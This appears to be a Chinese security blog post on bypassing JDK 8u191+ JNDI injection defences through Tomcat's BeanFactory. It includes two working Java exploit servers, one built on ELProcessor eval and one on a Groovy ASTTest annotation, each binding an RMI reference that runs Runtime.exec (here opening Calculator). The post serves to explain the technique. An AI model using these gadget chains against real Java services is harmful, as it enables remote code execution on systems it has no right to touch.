1. 1. 前言
  2. 2. JDK>=8u191绕过
  3. 3. EXP构造
  4. 4. 参考

前言

jndi注入本质是 lookup()方法参数值可控,attacker可以通过使其加载恶意 rmi/ldap服务造成命令执行。

1
2
InitialContext context = new InitialContext();
context.lookup("rmi://xxx.xxx.x.x:9999/attack");

Oracle openJDK8u121之后在 loadClass方法中引入 trustURLCodeBase来限制 rmi对于 codebase的远程加载,但是忘记考虑了 ldap的利用,所以 8u121 - 8u191之间的绕过方法是利用 ldap绕过。

Oracle openJDK8u191之后官方修复了 ldap的利用,修复原理同上,无法进行远程加载类实例化/执行静态代码块代码。

image-20250215100909901

所以思考如何了利用本地已有类进行绕过。

JDK>=8u191绕过

除了 trustURLCodebase外,com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中限制了 FactoryClassLocation必须为 null,否则抛出异常

image-20250215101237902

所以第一次绕过就是 factoryLocation为 null

image-20250215102024831

第二个绕过点就是 javax.naming.spi.NamingManager#getObjectFactoryFromReference 可以尝试加载本地类,使用加载的本地类对象调用 factory.getObjectInstance方法实现命令执行

image-20250215103204397

image-20250215102748290

image-20250215103229390

因为返回对象是 ObjectFactory类型,所以加载的本地类必须实现 ObjectFactory接口

恰巧 tomcat中的一个类 org.apache.naming.factory.BeanFactory 类不仅实现了 ObjectFactory接口,并且 org.apache.naming.factory.BeanFactory#getObjectInstance 中调用了 method.invoke方法,给了命令执行可乘之机

image-20250215103354290

EXP构造

(1) javax.el.ELProcessor,需要 tomcat依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
public class JNDI_BYPASS_Server {
public static void main(String[] args) {
try {
InitialContext ctx = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec('open -a Calculator')"));
ctx.rebind("rmi://localhost:1888/remoteObj",resourceRef);
} catch (Exception e) {
e.printStackTrace();
}
}
}

(2) 使用 groovy,需要 groovy依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
public class JNDI_BYPASS_groovyServer {
public static void main(String[] args) throws Exception {
InitialContext ic = new InitialContext();
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ic.rebind("rmi://localhost:1888/remoteObj",ref);
}
}

参考

https://zone.huoxian.cn/d/2686-jndi-rmildap

https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/

https://www.cnblogs.com/Welk1n/p/11066397.html